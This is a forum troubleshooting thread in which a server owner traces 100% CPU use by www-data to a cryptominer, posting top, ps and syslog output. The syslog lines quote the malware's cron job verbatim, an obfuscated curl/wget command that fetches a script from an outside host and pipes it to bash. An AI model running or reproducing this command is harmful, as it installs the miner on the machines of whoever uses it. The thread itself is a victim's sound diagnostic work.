Related

Why does fresh Debian 10 image fail apt update Question Question
Debian 10 is slow to boot, or won't boot at all Question Question

Question

www-data using 100% cpu

Posted February 16, 2021 262 views
Debian 10

Hi. I have a problem in my Ubuntu server.
The user www-data is using 100% of the CPU, I tried stopping nginx, but it is still using all the cpu.

I used the “top” command to see what was happening, and I found this.

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
12718 www-data 39 19 307388 269144 4124 S 99.9 26.7 16:09.42 7

I don’t really know what command “7” is. If I use “htop” the command is shown as “sbin: root@policykit -1/7”

I’m thinking that it is something to do with permissions but I don’t know how to find what it is trying to do.

Thank you!

Add a comment
nickPar
By:
nickPar

Related

Why does fresh Debian 10 image fail apt update Question Question
Debian 10 is slow to boot, or won't boot at all Question Question

These answers are provided by our Community. If you find them useful, show some love by clicking the heart. If you run into issues leave a comment, or add your own answer to help others.

×
Submit an Answer
1 answer
jimhill1099 February 16, 2021

Have you checked your mysql.log? I wonder if something is going on with a query being hung.

Also, run ps-axl and see.

Reply Report
  • nickPar February 16, 2021

    I don’t have a mysql.log, and I see nothing weird in the error log of MySQL, but I checked syslog and I have things like this thousand of times:

    Feb 16 18:19:01 XXX cron[772]: (www-data) RELOAD (crontabs/www-data)
    Feb 16 18:20:03 XXX crontab[1586]: (www-data) REPLACE (www-data)
    Feb 16 18:20:03 XXX crontab[1679]: (www-data) REPLACE (www-data)
    Feb 16 18:20:04 XXX crontab[1773]: (www-data) REPLACE (www-data)
    Feb 16 18:21:01 XXX cron[772]: (www-data) RELOAD (crontabs/www-data)
    Feb 16 18:21:01 XXX CRON[1802]: (www-data) CMD (curl -sk “https://gitpods.com/init?time=1613499604” | b"“a”“s”“h;wget –no-check-certificate -q ”https://gitpods.com/init?time=1613499604“ -O - | bash;busybox wget -q ”https://gitpods.com/init?time=1613499604“ -O - | b”“a”“s”“h)
    Feb 16 18:21:01 XXX crontab[1871]: (www-data) REPLACE (www-data)
    Feb 16 18:21:02 XXX crontab[1964]: (www-data) REPLACE (www-data)
    Feb 16 18:21:02 XXX crontab[2058]: (www-data) REPLACE (www-data)
    Feb 16 18:21:03 XXX CRON[1801]: (CRON) info (No MTA installed, discarding output)
    Feb 16 18:22:01 XXX cron[772]: (www-data) RELOAD (crontabs/www-data)
    Feb 16 18:24:01 XXX CRON[2089]: (www-data) CMD (curl -sk ”https://gitpods.com/init?time=1613499662“ | b”“a”“s”“h;wget –no-check-certificate -q ”https://gitpods.com/init?time=1613499662“ -O - | bash;busybox wget -q ”https://gitpods.com/init?time=1613499662“ -O - | b”“a”“s”“h)
    Feb 16 18:24:01 XXX crontab[2158]: (www-data) REPLACE (www-data)
    Feb 16 18:24:02 XXX crontab[2251]: (www-data) REPLACE (www-data)
    Feb 16 18:24:03 XXX crontab[2403]: (www-data) REPLACE (www-data)
    Feb 16 18:24:03 XXX crontab[2434]: (www-data) REPLACE (www-data)
    Feb 16 18:24:03 XXX CRON[2088]: (CRON) info (No MTA installed, discarding output)
    Feb 16 18:24:03 XXX crontab[2533]: (www-data) REPLACE (www-data)
    Feb 16 18:24:04 XXX crontab[2627]: (www-data) REPLACE (www-data)

    And I get this from the command "ps axl”

    1 0 277 2 0 -20 0 0 - I< ? 0:00 [raid5wq]
    1 0 329 2 20 0 0 0 - S ? 0:00 [jbd2/vda1-8]
    1 0 330 2 0 -20 0 0 - I< ? 0:00 [ext4-rsv-conver]
    1 0 382 2 0 -20 0 0 - I< ? 0:00 [kworker/0:1H]
    4 0 399 1 19 -1 128184 37060 - S<s ? 0:00 /lib/systemd/systemd-journald
    1 0 410 2 0 -20 0 0 - I< ? 0:00 [iscsieh]
    4 0 415 1 20 0 97716 1760 - Ss ? 0:00 /sbin/lvmetad -f
    1 0 419 2 0 -20 0 0 - I< ? 0:00 [ib-comp-wq]
    1 0 420 2 0 -20 0 0 - I< ? 0:00 [ib-comp-unb-wq]
    1 0 421 2 0 -20 0 0 - I< ? 0:00 [ib    mcast]
    1 0 422 2 0 -20 0 0 - I< ? 0:00 [ibnlsawq]
    1 0 426 2 0 -20 0 0 - I< ? 0:00 [rdma    cm]
    4 62583 504 1 20 0 141956 3352 - Ssl ? 0:00 /lib/systemd/systemd-timesyncd
    4 100 592 1 20 0 71880 5304 - Ss ? 0:00 /lib/systemd/systemd-networkd
    4 101 605 1 20 0 70664 5160 - Ss ? 0:00 /lib/systemd/systemd-resolved
    4 0 671 1 20 0 42952 3900 - Ss ? 0:00 /lib/systemd/systemd-udevd
    4 0 679 786 20 0 105696 7040 - Ss ? 0:00 sshd: XXX [priv]
    4 0 754 1 20 0 170836 17136 - Ssl ? 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher –run-startup-triggers
    4 0 755 1 20 0 161084 1684 - Ssl ? 0:00 /usr/bin/lxcfs /var/lib/lxcfs/
    4 0 759 1 20 0 288000 6752 - Ssl ? 0:00 /usr/lib/accountsservice/accounts-daemon
    4 0 762 1 20 0 70612 5988 - Ss ? 0:00 /lib/systemd/systemd-logind
    4 1 765 1 20 0 28340 2296 - Ss ? 0:00 /usr/sbin/atd -f
    4 102 769 1 20 0 263048 4352 - Ssl ? 0:00 /usr/sbin/rsyslogd -n
    4 0 770 1 20 0 385764 23396 - Ss ? 0:00 php-fpm: master process (/etc/php/7.2/fpm/php-fpm.conf)
    4 0 772 1 20 0 31856 3208 - Ss ? 0:00 /usr/sbin/cron -f
    4 103 773 1 20 0 50132 4404 - Ss ? 0:01 /usr/bin/dbus-daemon –system –address=systemd: –nofork –nopidfile –systemd-activation –syslog-only
    4 0 786 1 20 0 72308 5768 - Ss ? 0:00 /usr/sbin/sshd -D
    5 1000 789 679 20 0 108140 5636 - S ? 0:00 sshd: XXX
    4 0 793 1 20 0 16420 2348 - Ss+ ttyS0 0:00 /sbin/agetty -o -p – \u –keep-baud 115200,38400,9600 ttyS0 vt220
    1 0 795 2 20 0 0 0 - I ? 0:00 [kworker/0:2]
    4 0 797 1 20 0 291468 7280 - Ssl ? 0:01 /usr/lib/policykit-1/polkitd –no-debug
    4 0 799 1 20 0 78644 3680 - Ss tty1 0:00 /bin/login -p –
    4 0 809 1 20 0 187684 20148 - Ssl ? 0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown –wait-for-signal
    1 0 844 1 20 0 141128 1584 - Ss ? 0:00 nginx: master process /usr/sbin/nginx -g daemon on; masterprocess on;
    5 33 848 844 20 0 144104 7516 - S ? 0:00 nginx: worker process
    4 111 915 1 20 0 654412 87280 - Ssl ? 0:02 /usr/sbin/mysqld
    4 0 1096 786 20 0 105696 7112 - Ss ? 0:00 sshd: XXX [priv]
    4 1000 1106 1 20 0 76688 7632 ep    pol Ss ? 0:00 /lib/systemd/systemd –user
    5 1000 1107 1106 20 0 111964 2588 - S ? 0:00 (sd-pam)
    1 0 1118 2 20 0 0 0 - I ? 0:00 [kworker/u2:1]
    4 0 1197 1 20 0 76684 7796 - Ss ? 0:00 /lib/systemd/systemd –user
    5 0 1198 1197 20 0 191592 2600 - S ? 0:00 (sd-pam)
    4 0 1208 799 20 0 23076 5088 - S+ tty1 0:00 -bash
    5 1000 1219 1096 20 0 107996 5396 - S ? 0:00 sshd: XXX@pts/0
    0 1000 1220 1219 20 0 23208 5076 wait Ss pts/0 0:00 -bash
    1 33 1401 1 20 0 40488 7420 - S ? 0:00 /usr/sbin/apache2 -D -k start
    0 1000 2939 1220 20 0 29348 1604 - R+ pts/0 0:00 ps axl
    4 0 14457 786 20 0 105696 7044 - Ss ? 0:00 sshd: XXX [priv]
    5 1000 14528 14457 20 0 108976 6724 - S ? 0:00 sshd: XXX@notty
    0 1000 14529 14528 20 0 19620 2540 - Ss ? 0:00 /usr/lib/openssh/sftp-server
    1 0 17450 2 20 0 0 0 - I ? 0:00 [kworker/u2:2]
    4 0 18309 1220 20 0 63980 4268 - T pts/0 0:00 sudo crontab -e
    4 0 18310 18309 20 0 16396 2496 - T pts/0 0:00 crontab -e
    4 0 18311 18310 20 0 4636 868 - T pts/0 0:00 /bin/sh -c /usr/bin/sensible-editor /tmp/crontab.XTpZp4/crontab
    0 0 18312 18311 20 0 4636 860 - T pts/0 0:00 /bin/sh /usr/bin/sensible-editor /tmp/crontab.XTpZp4/crontab
    0 0 18320 18312 20 0 4636 1660 - T pts/0 0:00 /bin/sh /usr/bin/select-editor
    5 33 29368 770 20 0 390960 31628 - S ? 0:00 php-fpm: pool www
    5 33 29369 770 20 0 399060 38756 - S ? 0:00 php-fpm: pool www
    5 33 29374 770 20 0 390868 31136 - S ? 0:00 php-fpm: pool www
    0 33 30842 1 39 19 307388 269188 - SNl ? 25:02 sbin: root@policykit -1/8

    Reply Report
  • nickPar February 16, 2021

    So it seems that somehow I have some kind of malicious mining script running in my server, which is creating a crontab for www-data

    I used this command:
    “touch /var/spool/cron/crontabs/www-data; chmod 0 /var/spool/cron/crontabs/www-data”

    With this I’ve denied the access to crontab for www-data and the CPU usage came back to normal, but it should be nice to find this program and delete it from my server.

    I found this post:
    https://stackoverflow.com/questions/59487096/kdevtmpfsi-how-to-find-and-delete-that-miner

    The name is almost the same that I have in the ps axl, it is called “kdevtmpfs” instead of “kdevtmpfsi”

    Mods are still reviewing my other post where I posted my ps axl.

    Reply Report
    • jimhill1099 February 16, 2021

      Wow, the hackers just never stop do they? I wonder if it is even possible to close the myriads of ways that they come in. I have such a huge list of things I do for every server I think that really ever web application needs to run behind a proxy server of some sort. I do appreciate Sucuri for that, and the price is not bad in light of the freedom they give you to greatly reduce the burden from hackers. That way at least your public IP is obscured.

      Reply Report

Related

Looking for something else?

Ask a new question Search for more help